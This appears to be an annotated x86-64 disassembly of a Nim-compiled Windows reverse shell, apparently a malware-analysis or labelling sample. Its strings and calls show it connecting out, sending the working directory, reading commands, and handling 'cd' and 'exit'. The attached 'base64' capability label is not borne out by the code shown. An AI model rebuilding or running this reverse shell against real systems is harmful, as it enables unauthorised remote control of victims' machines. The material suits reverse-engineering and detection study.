Function at 0x1400172b0
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x258
movups xmmword [rsp + 0x240], xmm6
lea rax, str.reverse_shell_connected
lea rbx, str._home_kali_reverse_shell_connected.nim
xor edx, edx
lea r14, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_net.nim
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0xf8], rax
lea r12, [rsp + 0x210]
mov qword [rsp + 0x108], rbx
mov r13, r12
mov qword [rsp + 0x100], 0
mov word [rsp + 0x110], dx
call sym.nimFrame.constprop.0
lea rax, [rsp + 0x120]
mov qword [rsp + 0x108], rbx
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x28], rax
lea rax, str.connectToServer
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x100], 0x14
lea rdi, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_nativesockets.nim
mov qword [rsp + 0x128], rax
lea rax, str._home_kali_reverse_shell_connected.nim
mov rsi, rax
mov qword [rsp + 0x138], rax
xor eax, eax
mov word [rsp + 0x140], ax
mov qword [rsp + 0x130], 0
call sym.nimFrame.constprop.0
mov rcx, qword [rsp + 0x38]
lea rax, str.newSocket
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0x158], rax
xor eax, eax
lea rsi, str.toInt
mov word [rsp + 0x170], ax
mov qword [rsp + 0x130], 0xc
mov qword [rsp + 0x168], r14
mov qword [rsp + 0x160], 0
call sym.nimFrame.constprop.0
mov rcx, qword [rsp + 0x40]
lea rax, str.createNativeSocket
mov qword [rsp + 0x198], rdi
mov qword [rsp + 0x188], rax
xor eax, eax
mov word [rsp + 0x1a0], ax
mov qword [rsp + 0x190], 0
call sym.nimFrame.constprop.0
xor eax, eax
mov rcx, r13
mov qword [rsp + 0x190], 0x110
mov word [rsp + 0x230], ax
mov qword [rsp + 0x218], rsi
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov rcx, qword [0x1400274e0]
mov qword [rsp + 0x220], 0xaf
call sym.__emutls_get_address
mov rcx, qword [0x1400274f0]
mov r15, rax
mov rax, qword [rax]
mov rbx, qword [rax]
mov qword [r15], rbx
call sym.__emutls_get_address
cmp byte [rax], 0
mov r12, rax
jne 0x1400188b0
xor eax, eax
mov rcx, r13
mov qword [rsp + 0x218], rsi
mov word [rsp + 0x230], ax
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov qword [rsp + 0x220], 0xba
mov rbx, qword [rax]
mov qword [r15], rbx
cmp byte [r12], 0
jne 0x1400188b0
mov ecx, 6
call method.nativesockets.toInt_nativesockets::Protocol_
cmp byte [r12], 0
mov ebx, eax
jne 0x140018ce0
xor r11d, r11d
lea rax, str.createNativeSocket
xor ebp, ebp
mov qword [rsp + 0x1c0], 0
lea rdi, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_nativesockets.nim
lea rcx, [rsp + 0x1b0]
mov word [rsp + 0x1d0], r11w
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1c8], rdi
call sym.nimFrame.constprop.0
mov r8d, ebx
mov edx, 1
mov ecx, 2
mov qword [rsp + 0x1c0], 0x102
lea rbx, str.setInheritable
call qword [0x14002a160]
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x1c0], 0x104
mov rsi, rax
mov qword [rsp + 0x1e8], rbx
mov qword [rsp + 0x1f8], rdi
mov qword [rsp + 0x1f0], 0
mov word [rsp + 0x200], bp
call sym.nimFrame.constprop.0
mov eax, 0x80000000
mov qword [rsp + 0x1f8], rdi
mov qword [rsp + 0x1f0], 0xf2
add rax, rsi
shr rax, 0x20
jne 0x140018270
xor r9d, r9d
mov rcx, r13
mov qword [rsp + 0x218], rbx
lea rbx, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_syncio.nim
mov word [rsp + 0x230], r9w
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
xor r8d, r8d
mov edx, 1
mov rcx, rsi
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x220], 0x178
call qword [0x14002a0e0]
mov rdx, qword [r15]
mov rdx, qword [rdx]
mov qword [r15], rdx
mov rdx, qword [rdx]
mov qword [r15], rdx
cmp byte [r12], 0
jne 0x14001765a
test eax, eax
je 0x140018299
mov rbx, qword [rdx]
mov qword [r15], rbx
mov rax, qword [rbx]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140018374
cmp qword [0x14002a320], rsi
je 0x140018328
xor r8d, r8d
mov rcx, r13
lea rax, str.newSocket
mov qword [rsp + 0x160], 0x136
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x228], r14
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], r8w
call sym.nimFrame.constprop.0
cmp rsi, qword [0x14002a320]
mov qword [rsp + 0x220], 0x10c
mov qword [rsp + 0x228], r14
je 0x1400183a0
mov ecx, 0xfc8
mov qword [rsp + 0x220], 0x10d
call sym.nimNewObj.constprop.0
mov ecx, 0x102
mov qword [rax], rsi
mov rbx, rax
mov byte [rax + 8], 1
mov word [rax + 0xfc4], cx
mov byte [rax + 0xfc6], 6
mov qword [rsp + 0x220], 0x114
mov qword [rax + 0xfb0], 0
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140018600
lea rax, str.nimDecRefIsLast
mov rsi, qword [0x14002a0c0]
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x130], 0x10d
mov qword [rsp + 0x1e8], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system_arc.nim
mov qword [rsp + 0x1f8], rax
mov rdi, rax
xor eax, eax
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x1f0], 0
mov word [rsp + 0x200], ax
call sym.nimFrame.constprop.0
mov qword [rsp + 0x1f8], rdi
mov qword [rsp + 0x1f0], 0xd6
test rsi, rsi
je 0x140018390
lea rax, [0x140025a76]
mov rcx, r13
lea rdi, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system_arithmetics.nim
mov qword [rsp + 0x1f0], 0x3a
mov qword [rsp + 0x218], rax
xor eax, eax
mov word [rsp + 0x230], ax
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x220], 0x170
mov rdx, qword [rax]
mov qword [rsp + 0x1f0], 0xe5
mov qword [r15], rdx
mov rax, qword [rsi - 0x10]
shr rax, 4
je 0x140018240
mov qword [rsp + 0x1f0], 0xea
mov rax, qword [rsi - 0x10]
sub rax, 0x10
jo 0x14001a3ab
mov qword [rsi - 0x10], rax
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
mov rcx, qword [rsp + 0x40]
lea rax, str._home_kali_reverse_shell_connected.nim
xor ebp, ebp
mov qword [0x14002a0c0], rbx
mov qword [rsp + 0x138], rax
lea rax, str.connect
lea rdi, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_nativesockets.nim
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x130], 0xd
mov qword [rsp + 0x198], r14
mov qword [rsp + 0x190], 0
mov word [rsp + 0x1a0], bp
call sym.nimFrame.constprop.0
mov rcx, qword [rsp + 0x28]
lea rax, str.getAddrInfo
movzx esi, byte [rbx + 0xfc4]
mov qword [rsp + 0x1e8], rax
xor eax, eax
mov word [rsp + 0x200], ax
mov qword [rsp + 0x1f8], rdi
mov qword [rsp + 0x1f0], 0
call sym.nimFrame.constprop.0
lea rax, [rsp + 0x1b0]
mov rcx, r13
pxor xmm0, xmm0
mov qword [rsp + 0x48], rax
lea rax, str.toInt
mov qword [rsp + 0x218], rax
xor eax, eax
mov word [rsp + 0x230], ax
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0x1f0], 0x128
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x220], 0
movups xmmword [rsp + 0x1b0], xmm0
movups xmmword [rsp + 0x1c0], xmm0
movups xmmword [rsp + 0x1d0], xmm0
call sym.nimFrame.constprop.0
mov rax, qword [r15]
movzx edx, sil
mov qword [rsp + 0x220], 0xaf
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x1400188f0
lea rax, str.toInt
xor edi, edi
mov rcx, r13
mov dword [rsp + 0x1b4], edx
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_nativesockets.nim
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x1f0], 0x129
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], di
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov qword [rsp + 0x220], 0xba
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x1400188f0
mov dword [rsp + 0x1b8], 1
mov ecx, 6
mov qword [rsp + 0x1f0], 0x12a
call method.nativesockets.toInt_nativesockets::Protocol_
cmp byte [r12], 0
jne 0x140018cf0
mov dword [rsp + 0x1bc], eax
cmp sil, 0x17
jne 0x140017a50
mov dword [rsp + 0x1b0], 8
lea rax, [0x140025b97]
mov rdx, qword [r15]
xor esi, esi
mov qword [rsp + 0x1f0], 0x133
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system_dollars.nim
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], si
test rdx, rdx
je 0x140018870
movzx eax, word [rdx + 0x22]
mov qword [rsp + 0x210], rdx
mov qword [r15], r13
add eax, 1
mov word [rsp + 0x232], ax
cmp ax, 0x7d0
jne 0x140017ac1
call sym.system::callDepthLimitReached
mov rcx, qword [rsp + 0x38]
mov edx, 0x1bb
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], 0
mov qword [rsp + 0x220], 0x1a
call method.digitsutils.addInt_var_string___uInt64_
mov rax, qword [r15]
mov rsi, qword [rsp + 0x158]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
mov rax, qword [rsp + 0x150]
jne 0x140017b82
test rax, rax
lea rdx, [rsi + 8]
lea rax, [0x140025916]
mov r8, qword [rsp + 0x48]
cmove rdx, rax
lea r9, [rsp + 0xe8]
lea rcx, [0x140026678]
call qword [0x14002a150]
test eax, eax
je 0x140017b82
mov rax, qword [0x1400273e0]
mov qword [rsp + 0x1f0], 0x137
call qword [rax]
cmp byte [r12], 0
mov ecx, eax
jne 0x140017b82
movdqu xmm5, xmmword [0x140026b00]
lea rax, [rsp + 0xd0]
mov rdx, rax
movups xmmword [rsp + 0xd0], xmm5
call method.oserrors.raiseOSError_oserrors::OSErrorCode__string_
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x1f0], 0x17a
mov qword [rsp + 0x1f8], rax
test rsi, rsi
je 0x140017bac
test byte [rsi + 7], 0x40
je 0x140018860
mov rax, qword [r15]
mov rax, qword [rax]
mov rbp, qword [rsp + 0xe8]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140017c2a
test rbp, rbp
je 0x1400194ff
mov rsi, qword [0x1400273e0]
mov rdi, rbp
jmp 0x140017bed
mov rdi, qword [rdi + 0x28]
test rdi, rdi
je 0x140018c90
mov qword [rsp + 0x190], 0x80f
mov rdx, qword [rdi + 0x20]
mov rcx, qword [rbx]
mov r8d, dword [rdi + 0x10]
call qword [0x14002a148]
test eax, eax
je 0x1400188c0
mov qword [rsp + 0x190], 0x812
call qword [rsi]
cmp byte [r12], 0
je 0x140017be0
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x1400186fc
mov qword [rsp + 0x130], 0xe
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x14001882e
lea rax, [rsp + 0xd0]
lea rdi, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_widestrs.nim
mov rbp, r13
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x28]
xor r9d, r9d
lea rax, str.getCurrentDir
mov qword [0x14002a0d0], 0
mov qword [rsp + 0x1e8], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_private_ospaths2.nim
mov rbx, rax
mov qword [rsp + 0x1f8], rax
mov word [rsp + 0x200], r9w
mov qword [0x14002a0d8], 0
mov qword [rsp + 0x100], 0x1b
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x1f0], 0
call sym.nimFrame.constprop.0
mov rcx, qword [rsp + 0x30]
mov edx, 0x104
mov qword [rsp + 0x1b0], 0
mov qword [rsp + 0x1b8], 0
mov qword [rsp + 0x1f0], 0x361
mov qword [rsp + 0x1f8], rbx
call method.widestrs.newWideCString_int_
movzx edx, byte [r12]
mov rsi, qword [rsp + 0xd8]
test dl, dl
jne 0x14001889d
mov qword [rsp + 0x1f0], 0x362
mov ebx, 0x104
lea rax, str.toWideCString
xor r8d, r8d
mov rcx, rbp
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], r8w
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x220], 0x3f
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140017ee3
mov rdx, rsi
mov ecx, ebx
call qword [0x14002a128]
mov r13d, eax
test eax, eax
je 0x140017ea0
movsxd rdx, eax
cmp ebx, eax
jge 0x1400199a2
mov rcx, qword [rsp + 0x30]
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_private_ospaths2.nim
mov qword [rsp + 0x1f0], 0x367
mov qword [rsp + 0x1f8], rax
call method.widestrs.newWideCString_int_
cmp byte [r12], 0
mov rbx, qword [rsp + 0xd8]
jne 0x140018890
lea rax, str.sink
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x1f0], 0x2e
mov qword [rsp + 0x218], rax
mov word [rsp + 0x230], dx
mov qword [rsp + 0x1f8], rdi
mov qword [rsp + 0x228], rdi
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov qword [rsp + 0x220], 0x30
mov rax, qword [rax]
mov qword [r15], rax
movzx edx, byte [r12]
test dl, dl
jne 0x140018d18
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_std_private_ospaths2.nim
mov rsi, rbx
mov qword [rsp + 0x1f0], 0x368
mov ebx, r13d
mov qword [rsp + 0x1f8], rax
jmp 0x140017d4d
mov rax, qword [0x1400273e0]
mov qword [rsp + 0x1f0], 0x365
call qword [rax]
cmp byte [r12], 0
mov ecx, eax
jne 0x140017ee3
movdqu xmm1, xmmword [0x140026b50]
mov rdx, qword [rsp + 0x30]
movups xmmword [rsp + 0xd0], xmm1
call method.oserrors.raiseOSError_oserrors::OSErrorCode__string_
cmp byte [r12], 0
je 0x140017d4d
mov qword [rsp + 0x68], 0
xor ebx, ebx
mov edx, 1
mov byte [r12], 0
mov rcx, rsi
mov byte [rsp + 0x50], dl
mov qword [rsp + 0x1f0], 0x1e
mov qword [rsp + 0x1f8], rdi
call method.widestrs.eqdestroy__widestrs::WideCStringObj___clone_.isra.0_
cmp byte [r12], 0
jne 0x140017f28
movzx edx, byte [rsp + 0x50]
mov byte [r12], dl
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140019438
mov rsi, qword [rsp + 0x30]
lea rdx, [rbx + 2]
mov rcx, rsi
call sym.rawNewString
mov rax, qword [rsp + 0x68]
mov rdx, rsi
movdqu xmm2, xmmword [rsp + 0xd0]
mov qword [rsp + 0xd0], rbx
mov rbx, qword [rsp + 0x60]
mov qword [rsp + 0xd8], rax
mov rcx, rbx
movups xmmword [rsp + 0x120], xmm2
call sym.appendString.lto_priv.0.lto_priv.0
movdqu xmm3, xmmword [0x140026c50]
mov rdx, rsi
mov rcx, rbx
movups xmmword [rsp + 0xd0], xmm3
call sym.appendString.lto_priv.0.lto_priv.0
mov rax, qword [rsp + 0x128]
mov rcx, qword [0x14002a0c0]
mov rdx, rsi
movdqu xmm4, xmmword [rsp + 0x120]
mov qword [rsp + 0x70], rax
movups xmmword [rsp + 0xd0], xmm4
call method.net.send_ref_net::SocketImpl___string__set_net::SocketFlag___int___clone_.constprop.0_
cmp byte [r12], 0
jne 0x1400184e5
mov rcx, qword [rsp + 0x48]
lea rax, str.recvLine
mov qword [rsp + 0x100], 0x1c
lea rbx, str.waitFor
mov qword [rsp + 0x1b8], rax
xor eax, eax
mov rsi, qword [0x14002a0c0]
mov word [rsp + 0x1d0], ax
mov qword [rsp + 0x1c8], r14
mov qword [rsp + 0x1c0], 0
call sym.nimFrame.constprop.0
lea rax, [0x140026b80]
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x158], rax
lea rax, str.readLine
mov qword [rsp + 0x1e8], rax
xor eax, eax
mov word [rsp + 0x200], ax
mov qword [rsp + 0x1c0], 0x676
mov qword [rsp + 0x1f8], r14
mov qword [rsp + 0x1f0], 0
call sym.nimFrame.constprop.0
mov rax, qword [rsp + 0x40]
pxor xmm0, xmm0
mov qword [rsp + 0x150], 0
movups xmmword [rax], xmm0
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x50], rax
mov rdx, qword [r15]
xor eax, eax
mov byte [rsp + 0xe8], 0
mov qword [rsp + 0x1f0], 0x64d
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x228], r14
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], ax
test rdx, rdx
je 0x140018220
movzx eax, word [rdx + 0x22]
mov qword [rsp + 0x210], rdx
mov qword [r15], rbp
add eax, 1
mov word [rsp + 0x232], ax
cmp ax, 0x7d0
je 0x140018210
mov rax, rbp
mov qword [rsp + 0x228], r14
mov qword [rsp + 0x220], 0x5ab
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x140018960
mov rdx, qword [rsp + 0x50]
mov rcx, rsi
call method.net.recv_ref_net::SocketImpl___pointer__int___clone_.constprop.0_
cmp byte [r12], 0
mov r13, rax
jne 0x140018c80
mov qword [rsp + 0x1f0], 0x64f
test rax, rax
js 0x14001951a
mov qword [rsp + 0x1f0], 0x650
je 0x1400195a1
movzx r13d, byte [rsp + 0xe8]
cmp r13b, 0xd
je 0x1400195b5
cmp r13b, 0xa
je 0x14001976b
mov rcx, qword [rsp + 0x38]
mov edx, 1
mov qword [rsp + 0x1f0], 0x65c
call sym.prepareAdd
mov rax, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
mov byte [rdx + rax + 8], r13b
add rax, 1
mov r13, rax
jo 0x1400185d0
mov rdx, qword [rsp + 0x158]
mov qword [rsp + 0x150], rax
mov byte [rdx + rax + 8], 0
mov qword [rsp + 0x1f0], 0x65f
cmp rax, 0xf4240
jle 0x1400180aa
mov rax, qword [r15]
jmp 0x140018968
call sym.system::callDepthLimitReached
mov rax, qword [r15]
jmp 0x140018117
xor ecx, ecx
mov qword [r15], rbp
mov word [rsp + 0x232], cx
mov qword [rsp + 0x210], 0
jmp 0x140018114
mov qword [rsp + 0x1f0], 0xe6
mov rax, qword [rdx]
mov edx, 8
mov qword [r15], rax
mov rcx, qword [0x14002a0c0]
call sym.nimRawDispose
jmp 0x140017865
mov rdx, 0xffffffff80000000
mov r8d, 0x7fffffff
mov rcx, rsi
call sym.raiseRangeErrorI
mov rax, qword [r15]
mov rdx, qword [rax]
mov qword [r15], rdx
cmp byte [r12], 0
jne 0x14001765a
lea rax, str.close
xor r10d, r10d
mov rcx, r13
mov qword [rsp + 0x1c0], 0x105
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_nativesockets.nim
mov qword [rsp + 0x228], rax
mov word [rsp + 0x230], r10w
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov rcx, rsi
mov qword [rsp + 0x220], 0xe5
call qword [0x14002a158]
mov rax, qword [r15]
mov rdx, qword [rax]
mov qword [r15], rdx
cmp byte [r12], 0
jne 0x14001765a
mov qword [rsp + 0x1c0], 0x106
mov rsi, qword [0x14002a320]
jmp 0x14001765a
mov rax, qword [0x1400273e0]
mov qword [rsp + 0x160], 0x135
call qword [rax]
cmp byte [r12], 0
mov ecx, eax
jne 0x140018371
movdqu xmm6, xmmword [0x140026af0]
lea rax, [rsp + 0xd0]
mov rdx, rax
movups xmmword [rsp + 0xd0], xmm6
call method.oserrors.raiseOSError_oserrors::OSErrorCode__string_
cmp byte [r12], 0
je 0x14001767e
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x14001949c
xor ebx, ebx
jmp 0x140017746
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
jmp 0x140017865
movdqu xmm5, xmmword [0x140026ae0]
lea rax, [rsp + 0xd0]
mov rcx, rax
movups xmmword [rsp + 0xd0], xmm5
call method.assertions.failedAssertImpl_string_
cmp byte [r12], 0
je 0x1400176e2
xor ebx, ebx
jmp 0x14001772c
mov rdx, qword [r15]
mov rdx, qword [rdx]
mov qword [r15], rdx
lea rax, [rsp + 0xc0]
movdqu xmm3, xmmword [0x14002a0d0]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x100], 0x21
mov rdx, rax
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0xc0], xmm3
call sym.nsuStrip.constprop.0
cmp byte [r12], 0
mov rsi, qword [rsp + 0xd0]
mov r13, qword [rsp + 0xd8]
jne 0x1400193b0
lea rax, str.eqStrings
xor r9d, r9d
mov rcx, rbp
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], r9w
call sym.nimFrame.constprop.0
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x220], 0x25
cmp rsi, 2
jne 0x140018e30
mov qword [rsp + 0x220], 0x27
mov rdx, qword [r15]
movzx eax, word [r13 + 8]
mov rdx, qword [rdx]
mov qword [r15], rdx
cmp ax, 0x6463
jne 0x140018e39
movdqu xmm4, xmmword [0x140026bf0]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x100], 0x22
movups xmmword [rsp + 0xd0], xmm4
call method.osdirs.setCurrentDir_string_
test r13, r13
je 0x1400184e5
test byte [r13 + 7], 0x40
jne 0x1400184e5
mov rcx, r13
call sym.deallocShared
mov rcx, qword [0x14002a0d8]
test rcx, rcx
je 0x1400184fb
test byte [rcx + 7], 0x40
je 0x140019378
cmp qword [rsp + 0x70], 0
je 0x140018512
mov rax, qword [rsp + 0x70]
test byte [rax + 7], 0x40
je 0x140018930
cmp qword [rsp + 0x68], 0
je 0x140018529
mov rax, qword [rsp + 0x68]
test byte [rax + 7], 0x40
je 0x140018910
cmp byte [r12], 0
je 0x140017c6f
mov r13, rbp
lea rax, str.nimBorrowCurrentException
mov rcx, r13
xor esi, esi
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov rbx, rax
mov qword [rsp + 0x228], rax
mov word [rsp + 0x230], si
call sym.nimFrame.constprop.0
mov rcx, qword [0x1400274d0]
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x220], 0x8ec
call sym.__emutls_get_address
mov rdx, qword [r15]
mov r8d, 0x8a1b9e00
mov rbx, rax
mov rax, qword [rax]
mov rdx, qword [rdx]
mov qword [r15], rdx
mov rcx, qword [rax]
mov edx, 3
call sym.isObjDisplayCheck.lto_priv.0
mov ebp, eax
test al, al
jne 0x140019790
movzx ebp, byte [r12]
jmp 0x140018ade
call sym.raiseOverflow
mov r13, qword [rsp + 0x150]
mov qword [rsp + 0x1f0], 0x65f
cmp r13, 0xf4240
jle 0x1400180aa
jmp 0x140018205
lea rax, str.nimDecRefIsLast
xor edx, edx
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1e8], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system_arc.nim
mov rsi, rax
mov qword [rsp + 0x1f8], rax
mov word [rsp + 0x200], dx
call sym.nimFrame.constprop.0
mov qword [rsp + 0x1f8], rsi
mov qword [rsp + 0x1f0], 0xd6
test rbx, rbx
je 0x1400194f1
lea rax, [0x140025a76]
mov rcx, r13
lea rsi, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system_arithmetics.nim
mov qword [rsp + 0x1f0], 0x3a
mov qword [rsp + 0x218], rax
xor eax, eax
mov word [rsp + 0x230], ax
mov qword [rsp + 0x228], rsi
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov rax, qword [r15]
mov qword [rsp + 0x228], rsi
mov qword [rsp + 0x220], 0x170
mov rdx, qword [rax]
mov qword [rsp + 0x1f0], 0xe5
mov qword [r15], rdx
mov rax, qword [rbx - 0x10]
shr rax, 4
jne 0x140019382
mov qword [rsp + 0x1f0], 0xe6
mov rax, qword [rdx]
mov rcx, rbx
mov edx, 8
mov qword [r15], rax
call sym.nimRawDispose
lea rax, str.nimBorrowCurrentException
xor ebx, ebx
mov rcx, r13
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x218], rax
lea rax, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov rsi, rax
mov qword [rsp + 0x228], rax
mov word [rsp + 0x230], bx
call sym.nimFrame.constprop.0
mov rcx, qword [0x1400274d0]
mov qword [rsp + 0x220], 0x8ec
mov qword [rsp + 0x228], rsi
call sym.__emutls_get_address
mov rdx, qword [r15]
mov r8d, 0x8a1b9e00
mov rbx, rax
mov rax, qword [rax]
mov rdx, qword [rdx]
mov qword [r15], rdx
mov rcx, qword [rax]
mov edx, 3
call sym.isObjDisplayCheck.lto_priv.0
test al, al
jne 0x140018d30
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x14001882e
lea rcx, [0x140026c60]
lea rbx, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_pure_os.nim
mov qword [rsp + 0x100], 0x15
call sym.echoBinSafe.constprop.0
lea rax, str.sleep
xor r11d, r11d
mov rcx, r13
mov qword [rsp + 0x218], rax
mov word [rsp + 0x230], r11w
mov qword [rsp + 0x100], 0x16
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x220], 0
call sym.nimFrame.constprop.0
mov qword [rsp + 0x228], rbx
mov ecx, 0x1388
mov qword [rsp + 0x220], 0x2bb
call qword [0x14002a138]
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
je 0x14001735a
call sym.nimTestErrorFlag
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
movups xmm6, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
call sym.deallocShared
jmp 0x140017bac
xor edx, edx
mov qword [r15], r13
mov word [rsp + 0x232], dx
mov qword [rsp + 0x210], 0
jmp 0x140017ac1
mov rcx, rbx
call method.widestrs.eqdestroy__widestrs::WideCStringObj___clone_.isra.0_
movzx edx, byte [r12]
mov qword [rsp + 0x68], 0
xor ebx, ebx
jmp 0x140017ef3
xor esi, esi
jmp 0x140017660
mov qword [rsp + 0x190], 0x815
mov rcx, rbp
call qword [0x14002a140]
mov rax, qword [r15]
mov qword [rsp + 0x190], 0x816
jmp 0x140017c2a
lea rsi, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system.nim
mov qword [rsp + 0x1f0], 0x17a
mov qword [rsp + 0x1f8], rsi
jmp 0x140017baf
mov rcx, rax
call sym.deallocShared
cmp byte [r12], 0
je 0x140017c6f
jmp 0x140018534
mov rcx, rax
call sym.deallocShared
jmp 0x140018512
call sym.raiseOverflow
mov rax, qword [r15]
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
je 0x1400196d9
nop word cs:[rax + rax]
mov r13, qword [rsp + 0x150]
mov rax, qword [rax]
mov rsi, qword [rsp + 0x158]
mov qword [r15], rax
mov rax, qword [rax]
mov qword [r15], rax
cmp byte [r12], 0
jne 0x1400193b0
lea rax, str.eqStrings
lea rbx, str._home_kali_.choosenim_toolchains_nim_2.2.0_lib_system_strmantle.nim
xor r11d, r11d
mov rcx, rbp
mov qword [0x14002a0d0], r13
mov qword [0x14002a0d8], rsi
mov qword [rsp + 0x100], 0x1d
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x220], 0
mov word [rsp + 0x230], r11w
call sym.nimFrame.constprop.0
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x220], 0x25
cmp r13, 4
jne 0x1400183d8
mov qword [rsp + 0x220], 0x27
mov rcx, qword [r15]
mov edx, dword [rsi + 8]
mov rcx, qword [rcx]
mov qword [r15], rcx
cmp edx, 0x74697865
jne 0x1400183e1
movdqu xmm6, xmmword [0x140026c00]
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x100], 0x1e
mov rcx, qword [0x14002a0c0]
movups xmmword [rsp + 0xd0], xmm6
